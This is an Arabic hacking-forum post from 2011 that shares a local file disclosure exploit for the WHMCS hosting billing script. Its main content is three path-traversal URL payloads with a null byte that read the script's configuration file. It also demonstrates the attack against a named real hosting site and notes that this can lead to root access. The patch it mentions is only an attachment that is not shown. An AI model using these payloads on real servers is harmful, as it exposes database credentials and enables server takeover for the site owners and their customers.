التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

		:: vBspiders Professional Network :: > [ ::. الـقرصـنـة والأختراق ~ The Hidden World Of Hackers .:: ] > قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات
ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع

أدوات الموضوع

انواع عرض الموضوع

KaLa$nikoV ثغره بسكربت الاستضافه ... 10-23-2011, 10:34 AM

Mr.NoD رد: ثغره بسكربت الاستضافه ... 10-23-2011, 11:04 AM

hacker.ksa رد: ثغره بسكربت الاستضافه ... 10-23-2011, 12:18 PM

تيمور الاسطوره رد: ثغره بسكربت الاستضافه ... 10-23-2011, 01:04 PM

mr thunder رد: ثغره بسكربت الاستضافه ... 10-24-2011, 01:24 AM

NoTty_rAJ رد: ثغره بسكربت الاستضافه ... 10-25-2011, 12:10 AM

aircrack -ng رد: ثغره بسكربت الاستضافه ... 10-25-2011, 01:31 AM

mjhool-hkr رد: ثغره بسكربت الاستضافه ... 07-20-2015, 12:19 PM

starto رد: ثغره بسكربت الاستضافه ... 07-25-2015, 04:56 PM

10-23-2011, 10:34 AM رقم المشاركة : 1 (permalink)

معلومات العضو

KaLa$nikoV

VBSPIDERS TEAM

#~VoLc4n0~#

إحصائية العضو

KaLa$nikoV غير متواجد حالياً

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

ثغره بسكربت الاستضافه WHMCompleteSolution Local File Disclosure مع الترقيع

السلام عليكم ورحمه الله وبركاته

الثغره بسيطه ومنتشره من زمان بين الشباب ع الايميل

لكن في حد حب ينشرها لمواقع السكيورتي الله يهديه

(رح تترقع هيك الثغره )

خطوره الثغره كبيره لانك ممكن توصل للروت

الاستغلال

كود PHP:

  
cart.php?a=test&templatefile=../../../configuration.php%00
submitticket.php?step=test&templatefile=../../../configuration.php%00
downloads.php?action=test&templatefile=../../../configuration.php%00

بتقرا الكونفج بالسورس كود للصفحه

مثال

كود PHP:

  
https://storm-servers.net/whmcs/cart.php?a=test&templatefile=../../../configuration.php%00

افتح اللنك وبعد افتح السورس كود بتلقى بينات الكونفج

اتوقع الشرح مفهوم خاصه مع المثال

وترقيع الثغره بالمرفقات
ارفع المرفق بداخل سكربت whmcs

واستبدله بالملف الاصلي

بامان الله ورعايته

المصدر: :: vBspiders Professional Network ::

eyvi fs;vfj hghsjqhti WHMCompleteSolution Local File Disclosure

الملفات المرفقة

dbconnect.rar‏ (16.8 كيلوبايت, المشاهدات 25)

:: نصائح مهمه :: - أفحص الملف المرفق بأي برنامج مضاد للفيروسات
2- قم بمراسلة المراقب عن أي مرفق يوجد به فيروس
3- المنتدى غير مسوؤل عن مايحتويه المرفق من بيانات

التوقيع

هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً

لا تنسونا من دعائكم